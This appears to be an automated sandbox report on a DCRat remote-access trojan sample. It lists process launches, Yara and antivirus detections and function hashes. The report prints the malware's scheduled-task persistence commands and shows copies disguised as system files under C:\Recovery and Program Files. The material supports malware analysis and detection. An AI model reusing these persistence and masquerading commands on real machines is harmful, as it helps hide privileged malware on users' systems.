Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "fuBYljHeUjtkgvlnNf" /sc MINUTE /mo 11 /tr "'C:\Program Files\Windows Mail\fuBYljHeUjtkgvlnN.exe'" /rl HIGHEST /f
Imagebase:	0x7ff6d64d0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	23:37:03
Start date:	25/10/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 9 /tr "'C:\Recovery\sppsvc.exe'" /f
Imagebase:	0x7ff63caf0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	23:37:03
Start date:	25/10/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "sppsvc" /sc ONLOGON /tr "'C:\Recovery\sppsvc.exe'" /rl HIGHEST /f
Imagebase:	0x7ff63caf0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	23:37:03
Start date:	25/10/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 7 /tr "'C:\Recovery\sppsvc.exe'" /rl HIGHEST /f
Imagebase:	0x7ff63caf0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	23:37:04
Start date:	25/10/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "fuBYljHeUjtkgvlnNf" /sc MINUTE /mo 12 /tr "'C:\Recovery\fuBYljHeUjtkgvlnN.exe'" /f
Imagebase:	0x7ff63caf0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	23:37:04
Start date:	25/10/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "fuBYljHeUjtkgvlnN" /sc ONLOGON /tr "'C:\Recovery\fuBYljHeUjtkgvlnN.exe'" /rl HIGHEST /f
Imagebase:	0x7ff63caf0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	23:37:04
Start date:	25/10/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "fuBYljHeUjtkgvlnNf" /sc MINUTE /mo 13 /tr "'C:\Recovery\fuBYljHeUjtkgvlnN.exe'" /rl HIGHEST /f
Imagebase:	0x7ff63caf0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	23:37:04
Start date:	25/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\LsQlNPpiOn.bat"
Imagebase:	0x7ff7d6a10000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	23:37:04
Start date:	25/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	23:37:04
Start date:	25/10/2024
Path:	C:\Windows\System32\w32tm.exe
Wow64 process (32bit):	false
Commandline:	w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Imagebase:	0x7ff65e8a0000
File size:	108'032 bytes
MD5 hash:	81A82132737224D324A3E8DA993E2FB5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	23:37:05
Start date:	25/10/2024
Path:	C:\Recovery\fuBYljHeUjtkgvlnN.exe
Wow64 process (32bit):	false
Commandline:	C:\Recovery\fuBYljHeUjtkgvlnN.exe
Imagebase:	0xbb0000
File size:	1'455'616 bytes
MD5 hash:	77FFFEE187FABB45FFC7219D421EA83F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000017.00000002.2193867907.0000000002EA1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 76%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	23:37:05
Start date:	25/10/2024
Path:	C:\Recovery\fuBYljHeUjtkgvlnN.exe
Wow64 process (32bit):	false
Commandline:	C:\Recovery\fuBYljHeUjtkgvlnN.exe
Imagebase:	0x530000
File size:	1'455'616 bytes
MD5 hash:	77FFFEE187FABB45FFC7219D421EA83F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000018.00000002.2198817700.000000000286D000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000018.00000002.2198817700.0000000002831000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	23:37:05
Start date:	25/10/2024
Path:	C:\Program Files\Microsoft Office 15\ClientX64\smss.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office 15\ClientX64\smss.exe"
Imagebase:	0x450000
File size:	1'455'616 bytes
MD5 hash:	77FFFEE187FABB45FFC7219D421EA83F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 76%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	23:37:05
Start date:	25/10/2024
Path:	C:\Program Files\Microsoft Office 15\ClientX64\smss.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office 15\ClientX64\smss.exe"
Imagebase:	0x4c0000
File size:	1'455'616 bytes
MD5 hash:	77FFFEE187FABB45FFC7219D421EA83F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	23:37:05
Start date:	25/10/2024
Path:	C:\Recovery\sppsvc.exe
Wow64 process (32bit):	false
Commandline:	C:\Recovery\sppsvc.exe
Imagebase:	0x950000
File size:	1'455'616 bytes
MD5 hash:	77FFFEE187FABB45FFC7219D421EA83F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 0000001B.00000002.2204937478.0000000002CFD000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 0000001B.00000002.2204937478.0000000002CC1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 76%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	23:37:05
Start date:	25/10/2024
Path:	C:\Recovery\sppsvc.exe
Wow64 process (32bit):	false
Commandline:	C:\Recovery\sppsvc.exe
Imagebase:	0xd20000
File size:	1'455'616 bytes
MD5 hash:	77FFFEE187FABB45FFC7219D421EA83F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 0000001C.00000002.2204609661.0000000003061000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	23:37:09
Start date:	25/10/2024
Path:	C:\Program Files\Microsoft Office 15\ClientX64\smss.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office 15\ClientX64\smss.exe"
Imagebase:	0xd80000
File size:	1'455'616 bytes
MD5 hash:	77FFFEE187FABB45FFC7219D421EA83F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	23:37:13
Start date:	25/10/2024
Path:	C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\All Users\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe"
Imagebase:	0xae0000
File size:	1'455'616 bytes
MD5 hash:	77FFFEE187FABB45FFC7219D421EA83F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 0000001E.00000002.2272871548.0000000002E11000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	23:37:21
Start date:	25/10/2024
Path:	C:\Program Files\Microsoft Office 15\ClientX64\smss.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office 15\ClientX64\smss.exe"
Imagebase:	0x230000
File size:	1'455'616 bytes
MD5 hash:	77FFFEE187FABB45FFC7219D421EA83F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	23:37:23
Start date:	25/10/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\df7dcee1-31d9-41cd-9118-ff1c3adb1964.vbs"
Imagebase:	0x7ff7bce10000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	23:37:23
Start date:	25/10/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\95f930af-8a5c-4110-bf02-41517346f671.vbs"
Imagebase:	0x7ff7bce10000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	35
Start time:	23:37:29
Start date:	25/10/2024
Path:	C:\Program Files\Microsoft Office 15\ClientX64\smss.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office 15\ClientX64\smss.exe"
Imagebase:	0x5f0000
File size:	1'455'616 bytes
MD5 hash:	77FFFEE187FABB45FFC7219D421EA83F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000023.00000002.2372427654.0000000002B01000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	23:37:30
Start date:	25/10/2024
Path:	C:\Recovery\fuBYljHeUjtkgvlnN.exe
Wow64 process (32bit):	false
Commandline:	"C:\Recovery\fuBYljHeUjtkgvlnN.exe"
Imagebase:	0x300000
File size:	1'455'616 bytes
MD5 hash:	77FFFEE187FABB45FFC7219D421EA83F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000024.00000002.2437817737.00000000027C1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	23:37:30
Start date:	25/10/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\b0c9a6b4-f4b7-4599-b561-a3049e581ced.vbs"
Imagebase:	0x7ff7bce10000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	23:37:30
Start date:	25/10/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\7e00ec7d-7c2b-46a0-b437-c1650ed4cfe9.vbs"
Imagebase:	0x7ff7bce10000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	39
Start time:	23:37:36
Start date:	25/10/2024
Path:	C:\Program Files\Microsoft Office 15\ClientX64\smss.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office 15\ClientX64\smss.exe"
Imagebase:	0x5f0000
File size:	1'455'616 bytes
MD5 hash:	77FFFEE187FABB45FFC7219D421EA83F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000027.00000002.2499185977.0000000002B10000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	23:37:38
Start date:	25/10/2024
Path:	C:\Recovery\sppsvc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Recovery\sppsvc.exe"
Imagebase:	0x830000
File size:	1'455'616 bytes
MD5 hash:	77FFFEE187FABB45FFC7219D421EA83F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000028.00000002.2522151926.0000000002D01000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Function 00007FF848D935C5 Relevance: 1.5, Strings: 1, Instructions: 271COMMON

Download Yara Rule

Strings

M_H, xrefs: 00007FF848D93870

Memory Dump Source

Source File: 00000000.00000002.2123563725.00007FF848D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848d90000_2RM12KtuNp.jbxd

Similarity

API ID:
String ID: M_H
API String ID: 0-372873180
Opcode ID: 0f05e0af559e27bb901a4192ed5aae27a3ff5cc4d99d91f281cf9f9311f49dfe
Instruction ID: 3caebdc9ff1e6fc663c7bff670f7662a3d0684e384348562cce9da4a52a9c19b
Opcode Fuzzy Hash: 0f05e0af559e27bb901a4192ed5aae27a3ff5cc4d99d91f281cf9f9311f49dfe
Instruction Fuzzy Hash: D8919F71D1D94E8FEB98EB6CD8183B8BBE1FB59394F9001B9C00DD32DACBA418458B45

Function 00007FF848D916E8 Relevance: 1.5, Strings: 1, Instructions: 281COMMON

Download Yara Rule

Strings

2EH, xrefs: 00007FF848D91EB3

Memory Dump Source

Source File: 00000000.00000002.2123563725.00007FF848D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848d90000_2RM12KtuNp.jbxd

Similarity

API ID:
String ID: 2EH
API String ID: 0-17899816
Opcode ID: 42f4e3159f8ba022882eb887a1b4dbcbb6b9b09de7fc1b488aa6f19eea8a49b7
Instruction ID: 83d87ac459b205594faee3104142ff1c13f715859992c80da58472366c22a4c0
Opcode Fuzzy Hash: 42f4e3159f8ba022882eb887a1b4dbcbb6b9b09de7fc1b488aa6f19eea8a49b7
Instruction Fuzzy Hash: 7081AF31A0DA4A8FDF49EE1C98556B977E2FF98744F1441BAD44EC3286CF38AC068785

Function 00007FF848D92C92 Relevance: .4, Instructions: 373COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2123563725.00007FF848D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848d90000_2RM12KtuNp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 660cb24e3e2301047ebfbfca4aaaefbdd0faaf0a9a4654cb381e869a41a08944
Instruction ID: 4cad3997bdc8d1c0d39492c2c504fb376ab4815172264d7e07d7c97b64a82c06
Opcode Fuzzy Hash: 660cb24e3e2301047ebfbfca4aaaefbdd0faaf0a9a4654cb381e869a41a08944
Instruction Fuzzy Hash: B3D13770D1965ADFEB98EB68C4957B8B7A1FF58344F0401BAD00EE3286CF386885CB55

Function 00007FF848D91D2D Relevance: .2, Instructions: 186COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2123563725.00007FF848D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848d90000_2RM12KtuNp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1fe4b526aefd703d9142fb56c47745be30240e54b63c1ebb5d347dca19a59237
Instruction ID: 33035cf68c33c993c2ed1f09ce624db7c1d44b9438dc0a4047d18b68af5d65f9
Opcode Fuzzy Hash: 1fe4b526aefd703d9142fb56c47745be30240e54b63c1ebb5d347dca19a59237
Instruction Fuzzy Hash: 6751C331A1DA4A8FDF48EE1888546BA77E2FFD8344F14457ED44AC7285DF38E8068785

Function 00007FF848D931F5 Relevance: .2, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2123563725.00007FF848D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848d90000_2RM12KtuNp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1fee3ec74a094629613d74613d0dfbf357ba4f17a0b36bb0367e0cbe017af26
Instruction ID: 547606a7c4b8d5d473bb9c4523999b0c2e517a2f983483c3460a676c013dde49
Opcode Fuzzy Hash: c1fee3ec74a094629613d74613d0dfbf357ba4f17a0b36bb0367e0cbe017af26
Instruction Fuzzy Hash: 0D614770D4D5198EEB58EFA8C4547EDBBB1EF48344F50507AD009E72A2CB386948CB54

Function 00007FF848D92145 Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2123563725.00007FF848D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848d90000_2RM12KtuNp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea2667e4c48fa769a5f37214a3304cb5fa97a423071aae46fbdd3204533d8b52
Instruction ID: 87c11da78e5d48f467b6d8f22a3652df8c45494f285ce7050e26a6a61e67d20b
Opcode Fuzzy Hash: ea2667e4c48fa769a5f37214a3304cb5fa97a423071aae46fbdd3204533d8b52
Instruction Fuzzy Hash: 0D413B31D5EA4A4FE745FB3898452B87BE0EF4A384F0541B7D05CC7196DF28A8458355

Function 00007FF848D90F36 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2123563725.00007FF848D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848d90000_2RM12KtuNp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86b6f5644752882b922526d0636d83604327c87887bc671988b7909f8216361e
Instruction ID: a16c5b4f3b0408488bf10d45e6dfcbc9172cf6eb53838a7e50bde23b9fd1fd58
Opcode Fuzzy Hash: 86b6f5644752882b922526d0636d83604327c87887bc671988b7909f8216361e
Instruction Fuzzy Hash: 87316F31D095198EEB64FB68D4447ECB3A1FF54344F1042B9D00DE3296DF386A498B94

Function 00007FF848D9341C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2123563725.00007FF848D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848d90000_2RM12KtuNp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 335840b4165218a74ee846fea976da37dd3dd91f1ccb9f74501a312e044e2ccb
Instruction ID: d803886a2986fb1818f2b5c90d2ff070109b8eafb3a5be10b3695fd2f0373883
Opcode Fuzzy Hash: 335840b4165218a74ee846fea976da37dd3dd91f1ccb9f74501a312e044e2ccb
Instruction Fuzzy Hash: 2C21A23084D78A9FD746EBB888186A97FF0FF0A354F0605FAD049C70A2DB389585C751

Function 00007FF848D90A01 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2123563725.00007FF848D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848d90000_2RM12KtuNp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7a5bf3acaeacb37c14ac59f103a244d09fb5b98dd803c88751193361384fde9
Instruction ID: 742c48411f8a3d81faf8583f7e656e8681234757cd53922d2cb271f4ebfa2313
Opcode Fuzzy Hash: c7a5bf3acaeacb37c14ac59f103a244d09fb5b98dd803c88751193361384fde9
Instruction Fuzzy Hash: 2E119131D0E94E9FE790FB6898492BD7BE0FF583A4F4005B6C408C7096EF38A9488784

Function 00007FF848D9126D Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2123563725.00007FF848D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848d90000_2RM12KtuNp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d39665d6092a52e068e4472bc4da1984138b1e9bb82cec5f9dc144af9cf66951
Instruction ID: d246f9478f6cc0b47f6486e3ad2acd8d22aa33cd5ab2c6ad94cd0d97d34bc2d7
Opcode Fuzzy Hash: d39665d6092a52e068e4472bc4da1984138b1e9bb82cec5f9dc144af9cf66951
Instruction Fuzzy Hash: 70119370D8E54A8EEF59BB64845A3BA7BE0FF19344F4005BEC01AC70D1EF286448C704

Function 00007FF848D93545 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2123563725.00007FF848D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848d90000_2RM12KtuNp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 623dc6a99659423eea5add6e3590716856860e17c9fb6ae6b86511263ba26431
Instruction ID: 8b4dc8d6be96e482a5e5659dce7802d92b8bc0f80767550e9d0337aed35a8cc7
Opcode Fuzzy Hash: 623dc6a99659423eea5add6e3590716856860e17c9fb6ae6b86511263ba26431
Instruction Fuzzy Hash: 2B115B7090AA8E8FEB98EF6884592BD7BA0FF18344F4005BED41AD71A2DB35A544CB04

Function 00007FF848D92E71 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2123563725.00007FF848D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848d90000_2RM12KtuNp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 143ac0752f10ee824a78457dcd31950694756d0ef3c85319fa5a78a2a00b50e0
Instruction ID: ab8889387b5f44ceceded2db11f358c178d47603170f61eb881962151800f09c
Opcode Fuzzy Hash: 143ac0752f10ee824a78457dcd31950694756d0ef3c85319fa5a78a2a00b50e0
Instruction Fuzzy Hash: 4C017C30D5EA4A8FE791FF2888896B97BE0EF19344F0505B6D42CC7092EB38E5888744

Function 00007FF848D905D8 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2123563725.00007FF848D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848d90000_2RM12KtuNp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38355a3cee89c8e4ba0fd9518781da03d14f1fa981bacb7602cf69ae6d1419be
Instruction ID: a4eaf817cc20000844e40444a4d597d7602115ab78f5cc6d3adb1dc4172eb36b
Opcode Fuzzy Hash: 38355a3cee89c8e4ba0fd9518781da03d14f1fa981bacb7602cf69ae6d1419be
Instruction Fuzzy Hash: B7014C3090A90E9EEF88FF64C4556B9B7A1FF58349F50457AD40EC3191CB39A594CB44

Function 00007FF848D9284D Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2123563725.00007FF848D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848d90000_2RM12KtuNp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 331c18501fd21233a6a2ca83fbdd0a1fb015eb552fe6c4700bbeb20fad66d9d1
Instruction ID: e92ec96cf3537ba335bcc0592da760ecb929d933c22e905bc3a7fee63fd89d7e
Opcode Fuzzy Hash: 331c18501fd21233a6a2ca83fbdd0a1fb015eb552fe6c4700bbeb20fad66d9d1
Instruction Fuzzy Hash: 7101DB30C0EA4E8FEB94BF2484886B97BE0FF59354F4204B6D428C7092EF38E0888704

Function 00007FF848D92EE9 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2123563725.00007FF848D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848d90000_2RM12KtuNp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 47d1681e9febdc1f837ad0f624af0533ce6572fedd7f9911e4e4bca690db81c1
Instruction ID: b3772945e0c6d497901e3b0749cb06564591c3f1cce975865e0c7864668e5fb7
Opcode Fuzzy Hash: 47d1681e9febdc1f837ad0f624af0533ce6572fedd7f9911e4e4bca690db81c1
Instruction Fuzzy Hash: C501843195E6499FE742FF3488592A97BE0EF4A344F0505F6D418C70A6DF38A448C755

Function 00007FF848D91CAD Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2123563725.00007FF848D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848d90000_2RM12KtuNp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43fcdcd3fa6c07211f8b97542e29746010ac63beaddf78915e2d3c30192d1a36
Instruction ID: bb844f88150def3b9761ecde521c35b2bcd2b64b19ef2a4938c80e14ca206d42
Opcode Fuzzy Hash: 43fcdcd3fa6c07211f8b97542e29746010ac63beaddf78915e2d3c30192d1a36
Instruction Fuzzy Hash: DF01DF71C0E68E8FEF5AEF2088466B97BA0FF59348F0400BDE409C3181CB399458C784

Function 00007FF848D90610 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2123563725.00007FF848D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848d90000_2RM12KtuNp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed22f002613d772d7a634c0e771ae99a235ca4aa533f49bb430458b6ce230574
Instruction ID: aef0c98656052a620bbb41e34d5e798b2e61c6ee1eec672da10fe1e69646e4e3
Opcode Fuzzy Hash: ed22f002613d772d7a634c0e771ae99a235ca4aa533f49bb430458b6ce230574
Instruction Fuzzy Hash: E101693095AA0E9EEB88EF2484492B972A0FF18349F11087EE42EC21D5DF35A598C604

Function 00007FF848D90608 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

